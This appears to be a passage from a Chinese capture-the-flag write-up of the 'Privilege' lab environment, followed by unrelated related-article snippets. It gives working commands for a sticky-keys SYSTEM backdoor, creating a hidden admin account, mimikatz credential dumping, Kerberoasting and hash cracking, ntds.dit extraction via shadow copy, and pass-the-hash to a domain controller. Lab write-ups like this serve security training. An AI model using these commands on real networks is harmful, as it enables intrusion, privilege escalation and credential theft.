在这里插入图片描述

evil-winrm连接

proxychains4 evil-winrm -i 172.22.14.46 -u zhangshuai -p wSbEajHzZs

会发现用户的特权还多了一些

在这里插入图片描述

会发现存在SeRestorePrivilege的特权,

SeRestorePrivilege是一个高权限特权,允许用户绕过文件和注册表的访问控制列表(ACL),直接修改系统文件或者编辑注册表

我们可以把cmd.exe重命名为sethc.exesethc.exe是Windows辅助功能的一部分,当用户在锁屏界面连按五次Shift键时,系统会以SYSTEM权限运行sethc.exe(即粘滞键程序),将cmd.exe伪装成sethc.exe,用户可以在锁屏界面触发命令提示符,并以SYSTEM权限运行, 从而完成提权

cd C:\Windows\System32
ren sethc.exe sethc.bak
ren cmd.exe sethc.exe

切换到C:\Windows\System32目录下, 这个目录下存在很多关键的可执行文件
ren重命名文件

在这里插入图片描述

完成前面操作后再通过rdp远程登录上去

proxychains4 xfreerdp /u:zhangshuai /p:wSbEajHzZs  /v:172.22.14.46 /drive:share,/mnt/xpw/kali_shard

通过锁定账户, 进入登录页面, 然后按5下shift 键, 触发粘滞键程序, 从而运行伪装成sethc.execmd.exe, 并且是system权限

在这里插入图片描述

添加一个管理员账户用于rdp远程登录, 前面zhangshuai账户只是一个普通用户, 很多权限都不足, 所以需要添加一个管理员用户

type C:\Users\Administrator\flag\flag03.txt
net user xpw 123qwe! /add
net localgroup administrators xpw /add

在这里插入图片描述

然后再以添加的管理员账户rdp登录上去

proxychains4 xfreerdp /u:xpw /p:123qwe!  /v:172.22.14.46 /drive:share,/mnt/xpw/kali_shard

mimikatz

上传一个猕猴桃, 抓取用户hash

privilege::debug
sekurlsa::logonpasswords

可以抓取到机器账户的NTLM值

在这里插入图片描述

31e653ce951ba9faaefbc64dcc6126f1 

spn

拿着 XR-0923$ 的ntlm哈希查找SPN能找到一个tianjing用户

proxychains4 impacket-GetUserSPNs xiaorang.lab/'XR-0923$' -hashes ':31e653ce951ba9faaefbc64dcc6126f1' -dc-ip 172.22.14.11

在这里插入图片描述

拿tianjing用户的TGS票据

proxychains4 impacket-GetUserSPNs xiaorang.lab/'XR-0923$' -hashes ':31e653ce951ba9faaefbc64dcc6126f1' -dc-ip 172.22.14.11 -request-user tianjing

离线爆破明文

$krb5tgs$23$*tianjing$XIAORANG.LAB$xiaorang.lab/tianjing*$2a9fad23d5375b846ff6d5d6d1f48efc$44b39ad4d62380b44b66af2f769c37995611ac6d0fba46d1224f22ef3d8ca8a3139d2584325e0fe73336f8a1e96bd7d19a7e008a61ec097730feec02eb090f03b64b05123843c4a08e10e42c69a5508edca8be40f6875118055d111c04187b9bb3509201f3f4993b3d8a25b14703e8406460d44f927cf89b7c8e02c1ffa67117bef6d0cc9af2628a4e1c04f25d0fb4523f57674102c67b3d9643f60f64bde96c75c482f778fcd7cd2d86a90597098c930ff8a4b322e6adf0bf4f0a57c0b33ebd7082b271ed439b7cf7ced8b3d310ad3e21c4174a2d70b12a57cc78cd756625327d42a30d34b9c6dd179043604001a015e8be674987c89633e007b881fb773cac233e011fba4f0aad9bd78ba439ae8d0ec771553ed39b47a6e6a4068e2495dcee59d29c9f37f3e0b2089d9071a47e81f116a1b7c8b7e43a3872861aa2458c2316b304933e9a62d9e9857a9e02e67cd40db29b6605e1d5688c8c24da9d1c762b271183f9b79bed008c64cd3bed9d9c9850be4b5b56ae71753826c6e9f4f183b0ec84f60597fd44ffe55ebb80913440f42d1f789efecfe6bf0a7970178991308cc44132577769fa2e186749d4f95602dce7c1c2849882de6acd458cc4f12e36e66d20441514a7b87b397f3898dc6cfc7cb0cc7aeaa591ddb15c1624444e2cb977c001c2ad186cf0dd868fb4bfcf5a062d22a5257c23d3326f3b7b17a7328c9524f827f9bbdd346a0abde6cf99cd35b3fd4babfb39da923e8b82181104ccdcd64c015db187abe3ad9f3b0e912a4422971669d8c79293e67dc544ef0ad60401d162332066037397be93929b526abaf646435c06d5d65dca03b0647628d7f77732d9df99796dc76fc82be97580bbc83525633b7a0605dc5746230cddcd692dff8ef7d5da1bc7439a1cac14efcc61e9572dba07b95c9ae1631cc42f6ae437dd1ce8bee8b5e5e2353c94fbbc554ab4568edf20c1f3a6f5f1d7471a4de755d40c2bf043f5725b285e996ab16fb193a90774bb3d7bdbc55c348b9d336bc0519c9850e373f670eae10e89a481fc5fd6463be9dbb89acaf3e1405b8be03f6bab0d74abf4d9c4dac9762cf35f73cf964437fcd7fccbbe70760833965a970974a8dec0b3f3593c0e9c3969c5adf68c14a8d2888be837fca2311482dd260d2845d0025f8e5ec32faaf852d0f28c5425cd07f937b15f7119945dfda3738105117f32a41afaf1c6471d56a0c6c8dfbb865fe696de816fa6a17d673a419ef4a900e7f7657af74af593547655066159cd4334d0c63c5bc66dc2c981df6489735f41560834eae28358c1e83cc45af139b01e44cfb0c1ca754d7f01d752b6ab0de762dfe9e26032df3b158a2d6a060ca6c2b9372c8b11f955a2e35e6cc3bf3a44070178a1910464f5ec7bb1d3091ad277339c8717ceefc95fdd4e5885fdd108add441785ed27a6d6d5ad96fad59a3a4205b4e2ac7d0d63535243c850d6a2c1d
hashcat -m 13100 -a 0 hash.txt /usr/share/wordlists/rockyou.txt --force

在这里插入图片描述

爆出明文DPQSXSXgh2

卷影拷贝提取SAM

可以通过evil-winrm连上去

proxychains4 evil-winrm -i 172.22.14.11 -u tianjing -p DPQSXSXgh2 

在这里插入图片描述

存在 SeBackupPrivilegeSeRestorePrivilege 特权

有备份以及还原文件或目录的权限,可以卷影拷贝然后下载ntds.dit文件

本地创一个raj.dsh,写入

set context persistent nowriters
add volume c: alias raj
create
expose %raj% z:

接着用unix2dos raj.dsh转化格式

在这里插入图片描述

前面evil-winrm连上去的切换到C目录,然后创一个test文件夹切换过去(不然后面会没权限),把本地的raj.dsh上传上去

mkdir test
cd test
upload raj.dsh

在这里插入图片描述

diskshadow /s raj.dsh

在这里插入图片描述

复制到到当前目录,也就是我们创建的这个test目录

RoboCopy /b z:\windows\ntds . ntds.dit

在这里插入图片描述

ntds.dit下下来 (速度比较慢)

download ntds.dit

接下来下载system(用的是SeRestorePrivilege特权)

reg save HKLM\SYSTEM system
download system

最后用下载下来的ntds.dit和system本地进行解密

impacket-secretsdump -ntds ntds.dit -system system local

在这里插入图片描述

70c39b547b7d8adec35ad7c09fb1d277

pth拿下域控

proxychains4 impacket-smbexec -hashes :70c39b547b7d8adec35ad7c09fb1d277 xiaorang.lab/administrator@172.22.14.11 -codec gbk

或者

proxychains4 evil-winrm -i 172.22.14.11 -u Administrator -H "70c39b547b7d8adec35ad7c09fb1d277"

在这里插入图片描述

参考文章

https://fushuling.com/index.php/2023/10/10/%e6%98%a5%e7%a7%8b%e4%ba%91%e5%a2%83%c2%b7privilege/
https://zer0peach.github.io/2024/12/27/%E6%98%A5%E7%A7%8B%E4%BA%91%E9%95%9C-privilege-writeup/

相关文章:

[[春秋云境] Privilege仿真场景

文章目录 靶标介绍&#xff1a;知识点卷影拷贝(VSS) 外网任意文件读取Jenkins管理员后台rdp远程登录Gitlab apiToken 内网搭建代理 Oracle RCESeRestorePrivilege提权mimikatzspn卷影拷贝提取SAM 参考文章 靶标介绍&#xff1a; 在这个靶场中&#xff0c;您将扮演一名资深黑客…...

【工具推荐】--Git详解

本文讲诉&#xff0c;git命令环境的安装和git命令的介绍 Git 是一个非常流行的分布式版本控制系统&#xff0c;它帮助开发者管理和跟踪项目中的代码变化。通俗地说&#xff0c;可以认为 Git 就像是一个代码的时间机器&#xff0c;它记录了项目从开始到结束的每一次代码变动。 …...

在linux里上传本地项目到github中

首先先安装git&#xff0c;安装完git后&#xff0c;输入如下操作指令&#xff1a; 输入自己的用户名和邮箱&#xff08;为注册GITHUB账号时的用户名和邮箱&#xff09;&#xff1a; git config --global user.name "111"git config --global user.email "121…...

【基础】Windows开发设置入门8:Windows 子系统 (WSL)操作入门

前言 大家熟悉的docker、Python&#xff0c;但对于Windows上有一套开配合开发的相对底层的环境设置&#xff0c;包括powershell、winget、WSL、还有开发驱动器什么的&#xff0c;我准备系统学一下&#xff0c;不然地基不牢&#xff0c;也盖不起冲天高楼~ 本节&#xff0c;介绍…...

服务器上的Nano 编辑器进行git合并

使用git pull拉取后&#xff0c;出现如下部分&#xff1a; GNU nano 2.9.3 /data/zhouy24Files/embody/DSLab-embodied-intelligence/.git/MERGE_MSG Merge branch …...

【idea 报错:java: 非法字符: ‘\ufeff‘】

执行main方法报错&#xff1a;: ‘\ufeff’?package cn.com 截图如下&#xff1a;任何一个mian都不能执行&#xff0c;都报这个 写出来希望大家都能快速解决这种少见的问题&#xff0c;还不好弄。 我是参考这篇文章就好了&#xff1a;idea 报错&#xff1a;java: 非法字符: …...

BM25(Best Matching 25)介绍与使用

BM25&#xff08;Best Matching 25&#xff09;是一种基于概率检索框架的改进算法&#xff0c;主要用于信息检索中的相关性评分。它通过引入词频饱和函数、文档长度归一化等机制&#xff0c;克服了传统TF-IDF算法的局限性。 一、BM25的核心原理 1. 改进TF-IDF的三大维度 词频…...

.NET 函数:检测 SQL 注入风险

以下是一个用 C# 编写的 .NET 函数&#xff0c;用于检测用户输入是否存在潜在的 SQL 注入风险&#xff1a; using System; using System.Text.RegularExpressions;public class SqlInjectionChecker {// 常见 SQL 注入关键词和模式private static readonly string[] SqlKeywor…...

远程数据采集智能网关支持下的雨洪资源分布式监测网络搭建实践

一、项目背景 随着城市化进程的加快以及气候变化的影响&#xff0c;雨洪水管理成为了城市基础设施建设中的重要课题。传统的雨洪水监测手段主要依赖人工巡查和固定站点监测&#xff0c;存在数据获取不及时、不全面&#xff0c;以及在恶劣天气条件下人员安全隐患等诸多问题。为…...

LinuxYUM下载笔记

在基于RPM的Linux发行版&#xff08;如CentOS、RHEL、Fedora等&#xff09;中&#xff0c;YUM&#xff08;Yellowdog Updater Modified&#xff09;是默认的包管理工具&#xff0c;用于简化软件的安装、更新和依赖管理。以下是YUM的使用指南&#xff1a; 一、检查YUM是否安装 …...

研读论文《Attention Is All You Need》(7)

原文 14 3.2 Attention An attention function can be described as mapping a query and a set of key-value pairs to an output, where the query, keys, values, and output are all vectors. The output is computed as a weighted sum of the values, where the weight…...

使用excel 工具做数据清洗

数据分析中有个很重要的预处理步骤&#xff0c;叫做「数据清洗」。 简单来说就是把数据中「脏脏的 」部分 —— 缺失的、重复的、错误的等等&#xff0c;给它清除掉&#xff0c;剩下「干净的」数据。 1、缺失数据 如果某处缺了一两个数据&#xff0c;最简单的方法就是 —— …...

LeetCode 217.存在重复元素

目录 题目&#xff1a; 题目描述&#xff1a; 题目链接&#xff1a; 思路&#xff1a; 思路一详解&#xff08;排序&#xff09;&#xff1a; 思路二详解&#xff08;Set&#xff09;&#xff1a; 思路三详解&#xff08;Map&#xff09;&#xff1a; 代码&#xff1a; …...

Flask 与 Django 服务器部署

一、引言 在 Web 开发领域&#xff0c;Flask 和 Django 是 Python 生态中最受欢迎的两个 Web 框架。Flask 以其轻量级和灵活性著称&#xff0c;适合快速开发小型应用和 API&#xff1b;而 Django 则提供了全面的功能套件&#xff0c;包括 ORM、管理界面和认证系统&#xff0c;…...

Python:操作Excel按行写入

Python按行写入Excel数据,5种实用方法大揭秘! 在日常的数据处理和分析工作中,我们经常需要将数据写入到Excel文件中。Python作为一门强大的编程语言,提供了多种库和方法来实现将数据按行写入Excel文件的功能。本文将详细介绍5种常见的Python按行写入Excel数据的方法,并附上…...

架构演变 -单体到云原生

软件架构的演变是随着技术发展、业务需求和硬件条件的变化而不断迭代的过程。以下是从单体架构到现代云原生架构的典型演变路径及关键阶段特点&#xff1a; 一、单体架构&#xff08;Monolithic Architecture&#xff09; 时间阶段&#xff1a;2000 年代前 特点&#xff1a; …...

VSCode 安装教程

访问官网 Visual Studio Code 官网 打开下载的exe文件 选一个安装位置 创建桌面快捷方式 (D) 在桌面生成 VSCode 的快捷图标&#xff0c;方便快速启动程序。 将 “通过 Code 打开” 操作添加到 Windows 资源管理器文件上下文菜单 右键点击文件时&#xff0c;菜单中会新增 “通…...

开源表单设计器FcDesigner配置多语言教程

开源低代码表单设计器FcDesigner中提供了强大的多语言支持功能&#xff0c;允许开发者在表单中实现一键式语言切换。在现代业务应用中&#xff0c;多语言支持是一项基本需求&#xff0c;尤其在国际化产品中。 源码地址: Github | Gitee | 文档 | 在线演示 设计器中配置多语言…...

ONIE安装NOS操作说明

ONIE 安装 NOS 操作说明 1. ONIE 简介 ONIE&#xff08;Open Network Install Environment&#xff09;是开放网络设备的出厂预装环境&#xff0c;类似于服务器的PXE/BIOS&#xff0c;主要用于自动或手动安装网络操作系统&#xff08;NOS&#xff0c;如SONiC、Cumulus、FBOSS等…...

fastadmin 数据导出,设置excel行高和限制图片大小

fastadmin默认导出图片全部都再一块&#xff0c;而且不在单元格里 话不多说&#xff0c;上代码 修改文件的路径&#xff1a; /public/assets/js/require-table.js exportOptions: {fileName: export_ Moment().format("YYYY-MM-DD"),preventInjection: false,mso…...

仿腾讯会议——音频服务器部分

1、中介者定义处理音频帧函数 2、 中介者实现处理音频帧函数 3、绑定函数映射 4、服务器定义音频处理函数 5、 服务器实现音频处理函数...

国产化替代对金融行业有哪些影响?如何应对?

在全球产业链重构与科技自主创新的时代背景下&#xff0c;国产化替代已从技术领域的局部探索&#xff0c;升级为金融行业应对复杂外部环境、夯实发展根基的战略选择。作为国家核心竞争力的重要组成部分&#xff0c;金融行业长期依赖国外技术设备的传统模式正面临安全性、可控性…...

包装类(1)

1.包装类的分类 1.针对八种基本数据类型相应的引用类型--包装类 2.有了类的特点,就可以调用类中的方法. 基本数据类型. 包装类 例: 手动装箱 int->Integer 手动执箱 Integer->int 注&#xff1a;jdk5后就可以自动装箱和拆箱 2.包装类和基本数据的转换 (1)jdk5前的…...

java中如何优雅处理多租户系统的查询?

多租户系统通常是指一个应用服务多个客户&#xff08;租户&#xff09;&#xff0c;每个租户的数据需要隔离&#xff0c;确保数据安全和隐私。处理这样的系统需要考虑数据隔离、查询效率、代码的可维护性等方面。 首先&#xff0c;我应该明确多租户的实现方式。常见的多租户数据…...

Ubuntu服务器部署多语言项目(Node.js/Python)方式实践

Ubuntu服务器部署多语言项目&#xff08;Node.js/Python&#xff09;方式实践 服务器脚本运行方式命令行直接执行nohup后台执行进程 Screen概述安装基本操作命令启动 Screen退出当前会话&#xff08;不终止进程&#xff09;查看所有会话重连会话关闭会话 常用快捷键典型使用场景…...

【MySQL】基础操作

MySQL(二)基础操作 一、数据库操作 1.创建库 2.查看库 3.选中库 4.删除库 二、表操作 1.创建表 1.1[comment 注释]&#xff1a; 1.2,...&#xff1a; 2.查看表 2.1查看所有表 2.2查看表结构 3.删除表 三、记录操作 1.插入记录 1.1全列插入 1.2指定列插入 1.3…...

在 Java MyBatis 中遇到 “操作数类型冲突: varbinary 与 float 不兼容” 的解决方法

在 MyBatis 中遇到 “操作数类型冲突: varbinary 与 float 不兼容” 错误&#xff0c;通常是因为当字段值为 null 时&#xff0c;MyBatis 无法正确推断其 JDBC 类型&#xff0c;导致向数据库传递 null 值时类型不匹配。以下是原因分析和解决方案&#xff1a; 问题原因 未指定 j…...

课题推荐——扩展卡尔曼滤波(EKF)估计pmsm的位置误差

扩展卡尔曼滤波&#xff08;EKF&#xff09;是一种常用于非线性系统状态估计的方法&#xff0c;特别适用于永磁同步电机&#xff08;PMSM&#xff09;的位置和速度估计。EKF可以实时估计电机的转子位置误差&#xff08;与实际转子位置的偏差&#xff09;&#xff0c;从而提高控…...

elasticsearch之记录es7.17升级8.17 springboot2.7.0 程序改造坑

es7.17升级8.x问题目录 一、硬件安装1-1. centos7 服务器上&#xff0c;删除elasticsearch7.17&#xff0c;安装es8.17 二、 程序改造2-1. Java API Client 8.17.52-2. 依赖引入2-3. 配置文件2-4. Java 配置类 三、根据 Elasticsearch 集群信息&#xff08;版本 8.17.2&#xf…...

SpringBoot+ELK 搭建日志监控平台

ELK 简介 ELK&#xff08;Elasticsearch, Logstash, Kibana&#xff09;是一个目前主流的开源日志监控平台。由三个主要组件组成的&#xff1a; Elasticsearch&#xff1a; 是一个开源的分布式搜索和分析引擎&#xff0c;可以用于全文检索、结构化检索和分析&#xff0c;它构建…...

家庭数字生态构建实战:基于飞牛fnOS的智能家居数据中台搭建全流程解析

文章目录 前言1. VMware安装飞牛云&#xff08;fnOS&#xff09;1.1 打开VMware创建虚拟机1.3 初始化系统 2. 安装Cpolar工具3. 配置远程访问地址4. 远程访问飞牛云NAS5. 固定远程访问地址 前言 在数字生活时代&#xff0c;数据管理正成为每个家庭的刚需。今天要向大家重点推荐…...

博客系统功能测试

博客系统网址&#xff1a;http://8.137.19.140:9090/blog_list.html 主要测试内容 功能测试、界面测试、性能测试、易用性测试、安全测试、兼容性测试、弱网测试、安装卸载测试、压力测试… 测试方法及目的 利用selenium和python编写测试脚本&#xff0c;对博客系统进行的相关…...

抽奖相关功能测试思路

1. 抽奖系统功能测试用例设计&#xff08;登录 每日3次 中奖40% 道具兑换码&#xff09; ✅ 功能点分析 必须登录后才能抽奖每天最多抽奖3次抽奖有 40% 概率中奖中奖返回兑换码 ✅ 测试用例设计 编号 用例描述 前置条件 操作 预期结果 TC01 未登录时抽奖 未登录 …...

paddle ocr本地化部署进行文字识别

一、Paddle 简介 1. 基本概念 Paddle&#xff08;全称 PaddlePaddle&#xff0c;飞桨&#xff09;是百度开发的 开源深度学习平台&#xff0c;也是中国首个自主研发、功能丰富、技术领先的工业级深度学习平台。它覆盖了深度学习从数据准备、模型训练、模型部署到预测的全流程…...

在CentOS系统上部署GitLabRunner并配置CICD自动项目集成!

在CentOS系统上部署GitLabRunner并配置CICD自动项目集成 在CentOS系统上部署GitLab Runner并配置CI/CD自动项目集成GitLab CI/CD是一个强大的持续集成和持续部署工具&#xff0c;能够显著提高开发团队的效率。 本文将详细介绍如何在CentOS系统上部署GitLab Runner&#xff0c…...

python学习day2(未写完,明天继续补充)

今天主要学习了变量的数据类型&#xff0c;以及如何使用格式化符号进行输出。 一、认识数据类型 在python里为了应对不同的业务需求&#xff0c;也把数据分为不同的类型。 代码如下&#xff1a; """ 1、按类型将不同的变量存储在不同的类型数据 2、验证这些…...

深度强化学习框架DI-engine

深度强化学习框架DI-engine 一、DI-engine概述&#xff1a;决策智能的通用引擎 DI-engine是由OpenDILab开源的决策智能引擎&#xff0c;基于PyTorch和JAX构建&#xff0c;旨在为强化学习&#xff08;RL&#xff09;、模仿学习&#xff08;IL&#xff09;、离线学习等场景提供…...

gitlab迁移

需求&#xff1a;需要将A服务器上的 gitlab 迁移到B服务器上&#xff0c;均使用docker 部署 一、备份数据 进入到A服务器的 gitlab 的容器中&#xff0c;运行gitlab-rake gitlab:backup:create 该命令会在 /var/opt/gitlab/backups/ 目录下创建一个xxx_gitlab_backup.tar 压缩…...

UEFI Spec 学习笔记---33 - Human Interface Infrastructure Overview---33.2.6 Strings

33.2.6 Strings UEFI 环境中的 string 是使用 UCS-2 格式定义&#xff0c;每个字符由 16bit 数据表示。对于用户界面&#xff0c;strings 也是一种可以安装到 HIIdatabase 的一种数据。 为了本土化&#xff0c;每个 string 通过一个唯一标识符来识别&#xff0c;而每一个标识…...

如何确保低空经济中的数据安全?

低空经济涉及大量敏感数据&#xff0c;如无人机的飞行轨迹、拍摄的地理图像和视频等。为确保这些数据的安全&#xff0c;可从以下几方面着手&#xff1a; 加强数据加密 传输加密 &#xff1a;采用 SSL/TLS 等加密协议&#xff0c;对数据在传输过程中进行加密&#xff0c;防止…...

在linux平台下利用mingw64编译windows程序

背景 笔者平时都是基于linux平台开发C代码&#xff0c;已经熟悉使用CMake这一套工具上一次开发windows应用程序还要追溯到10多年前&#xff0c;彼时还是使用微软的visual studio这个IDE&#xff0c;这个IDE确实也很强大&#xff0c;但也确实很笨重&#xff0c;当时用起来也很不…...

虚幻引擎5-Unreal Engine笔记之什么时候新建GameMode,什么时候新建关卡?

虚幻引擎5-Unreal Engine笔记之什么时候新建GameMode,什么时候新建关卡&#xff1f; code review! 参考笔记&#xff1a; 1.虚幻引擎5-Unreal Engine笔记之GameMode、关卡&#xff08;Level&#xff09; 和 关卡蓝图&#xff08;Level Blueprint&#xff09;的关系 2.虚幻引擎…...

[IMX] 04.定时器 - Timer

目录 1.周期中断定时器 - EPIT 1.1.工作模式 1.2.配置寄存器 - EPIT_CR 1.3.状态寄存器 - EPIT_SR 1.4.加载寄存器 - EPIT_LR 1.5.比较寄存器 - EPIT_CMPR 1.6.计数寄存器 - EPIT_CNR 2.通用定时器 - GPT 2.1. 时钟源 2.2.模块结构 2.3.工作模式 2.4.配置寄存器 - …...

前端 vue + element-ui 框架从 0 - 1 搭建

1. 安装node 地址&#xff1a; Node.js — 在任何地方运行 JavaScript 2. 安装 vue 2.1 执行安装命令 npm uninstall -g vue-cli npm install -g vue/cli 安装最新的vue3版本 2.2 使用vue 脚手架 搭建项目 vue create project_name 2.2.1 注意 项目名称不能包…...

【IDEA】删除/替换文件中所有包含某个字符串的行

目录 前言 正则表达式 示例 使用方法 前言 在日常开发中&#xff0c;频繁地删除无用代码或清理空行是不可避免的操作。许多开发者希望找到一种高效的方式&#xff0c;避免手动选中代码再删除的繁琐过程。 使用正则表达式是处理字符串的一个非常有效的方法。 正则表达式 …...

算法刷题(Java与Python)2.数组、列表

目录 Java的数组 数组介绍 注意事项 Python的列表 列表介绍 Python 的列表和 Java 的 ArrayList 一样吗&#xff1f; 例题1 代码分析 Java代码 Python代码 对比代码 例题2 代码分析 Java代码 Python代码 对比代码 例题三 Java代码 Python代码 代码对比 Jav…...

uniapp打包H5,输入网址空白情况

由于客户预算有限&#xff0c;最近写了两个uniapp打包成H5的案例&#xff0c;总结下面注意事项 1. 发行–网站-PCWeb或手机H5按钮&#xff0c;输入名称&#xff0c;网址 点击【发行】&#xff0c;生成文件 把这个给后端&#xff0c;就可以了 为什么空白呢 最重要一点&#xf…...

JavaScript 中使用 Elasticsearch 的正确方式,第一部分

作者&#xff1a;来自 Elastic Jeffrey Rengifo 讲解如何用 JavaScript 创建一个可用于生产环境的 Elasticsearch 后端。 想获得 Elastic 认证&#xff1f;看看下一期 Elasticsearch 工程师培训什么时候开始吧&#xff01; Elasticsearch 拥有大量新功能&#xff0c;能帮助你…...

每日一道leetcode(增加版)

901. 股票价格跨度 - 力扣&#xff08;LeetCode&#xff09; 题目 设计一个算法收集某些股票的每日报价&#xff0c;并返回该股票当日价格的 跨度 。 当日股票价格的 跨度 被定义为股票价格小于或等于今天价格的最大连续日数&#xff08;从今天开始往回数&#xff0c;包括今…...

排序复习/下(C语言版)

目录 1.快速排序&#xff08;hoare法&#xff09; 单趟&#xff1a; 整体&#xff1a; 代码优化&#xff1a; ​编辑三数取中代码&#xff1a; 小区间优化代码&#xff1a; hoare法疑问解答&#xff1a; 2.快速排序&#xff08;挖坑法&#xff09; 3.快速排序&#x…...